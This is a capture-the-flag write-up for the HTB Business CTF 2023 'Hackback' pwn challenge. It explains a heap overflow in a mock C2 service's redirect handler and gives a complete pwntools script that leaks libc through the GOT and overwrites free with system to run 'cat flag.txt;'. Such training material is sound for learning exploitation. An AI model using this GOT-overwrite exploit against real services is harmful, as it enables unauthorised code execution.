Hackback
Files
Download: pwn_hackback.zip
Challenge
This is a pwn challenge from the HTB Business CTF 2023. We are handed the source code and binary for the enemy’s Command and Control (C2) service, and tasked with exploiting weaknesses in it to disrupt their operations.
A critical breakthrough has occurred in our ongoing battle on the cyber front. Through an invaluable informant, we have obtained exclusive access to the enemy’s Command and Control (C2) service, along with its complete source code. This unprecedented advantage demands immediate action to exploit weaknesses within their C2 infrastructure, effectively disrupt their operations, and secure a decisive advantage in this conflict.
The full exploit is also mirrored here:
https://pastebin.com/raw/jjaJkmZ2
Analysis
The C2 service is a bot manager that speaks a simple binary protocol over a socket. Each request begins with a one-byte opcode, followed by a one-byte bot ID, a two-byte length, and a payload. Reverse engineering the handlers reveals four operations that we can drive with pwntools helpers:
0xbb— add a bot with a given name (addbot)0xcc— change an existing bot’s name (changename)0xdd— fetch (leak) a bot’s name (fetchname)0xaa— add a redirect domain to a bot (addbotredirect)
The vulnerability lies in the redirect handler: the domain length is not validated against the size of the heap-allocated bot structure, so a long redirect overflows the heap and lets us clobber an adjacent bot’s name pointer. By pointing that name pointer at free’s GOT entry, we can both leak the resolved free address (to defeat ASLR) and overwrite it with system. When a bot name that contains a shell command is later “freed,” system() runs it instead, giving us command execution.
Exploit
The harness below sets up the pwntools context, loads the hackback binary and its bundled libc, and defines the four protocol primitives. Set DEBUG automatically: with no extra argument it runs the binary locally, otherwise it connects to the remote service.
#!/usr/bin/env python3
from pwn import *
###
if len(sys.argv) > 1:
DEBUG = False
else:
DEBUG = True
context.log_level = 'info'
context.arch = 'amd64'
b = ELF('./hackback')
libc = ELF('./libc.so.6')
###
if DEBUG:
r = process('./hackback')
else:
r = remote('x.x.x.x', FIXME)
def addbot(id, name, namelen):
global r
buff = b'\xbb'
buff += p8(id)
buff += p16(namelen)
buff += name
r.sendline(buff)
def changename(id, name, namelen):
global r
buff = b'\xcc'
buff += p8(id)
buff += p16(namelen)
buff += name
r.sendline(buff)
def fetchname(id):
global r
buff = b'\xdd'
buff += p8(id)
r.sendline(buff)
return r.recvline()
def addbotredirect(id, domain, domainlen):
global r
buff = b'\xaa'
buff += p8(id)
buff += p16(domainlen)
buff += domain
r.sendline(buff)
Grooming the heap and resolving free
First we create bot 0 whose name is the shell command cat flag.txt; — this is the payload that will eventually be passed to system(). We then add a redirect so that the GOT entry for free gets resolved (lazy binding means free’s real address only appears in the GOT once free has actually been called). A second bot 1 is added to sit adjacent on the heap as our overwrite target.
addbot(0, b'cat flag.txt;', 14)
# create redirect to ensure got['free'] is resolved
addbotredirect(0, b'test.io', 7)
# gdb.attach(r, 'b *0x00000000004014E2')
addbot(1, b'BBBB', 4)
# populate the got for the free function
addbotredirect(0, b'test', 7)
r.recvline()
Overflowing the heap to point at the GOT
Now we abuse the unchecked redirect length. By sending 296 bytes of padding followed by the address of free’s GOT entry, the overflow reaches into bot 1’s structure and replaces its name pointer with got['free']. The address is truncated to three bytes (the high bytes are zero) and suffixed with .io to keep the redirect handler happy.
# Overflow the heap on the bot ID 1 to change the name pointer to got['free']
redirect = b'A' * 296 + p32(b.got['free'])[0:3] + b'.io'
addbotredirect(0, redirect, 8)
Leaking libc
With bot 1’s name pointer aimed at got['free'], fetching its name leaks the runtime address of free. Subtracting libc’s known offset for free gives us the libc base, from which we compute the address of system.
# Leak got['free'] pointer
leak = fetchname(1).rstrip().split(b':')[1]
leak = u64(leak.ljust(8, b'\x00'))
log.info('leak: %#x' % leak)
libc_base = leak - libc.symbols['free']
log.info('libc_base: %#x' % libc_base)
system = libc_base + libc.symbols['system']
log.info('system: %#x' % system)
Overwriting free with system and triggering the command
Because bot 1’s name pointer still points at got['free'], calling changename on it writes our value — the address of system — directly into the GOT. The next time the program frees a bot name, it actually calls system() on that name. We change bot 0’s name (whose buffer holds cat flag.txt;) to force a free, executing our command and reading the flag.
# Replace got['free'] by system
changename(1, p64(system), 8)
# Trigger the cat flag.txt command
changename(0, b'osef', 30)
r.interactive()
r.close()
Flag
Running the exploit against the remote service drops us into an interactive shell where the injected cat flag.txt; command prints the flag.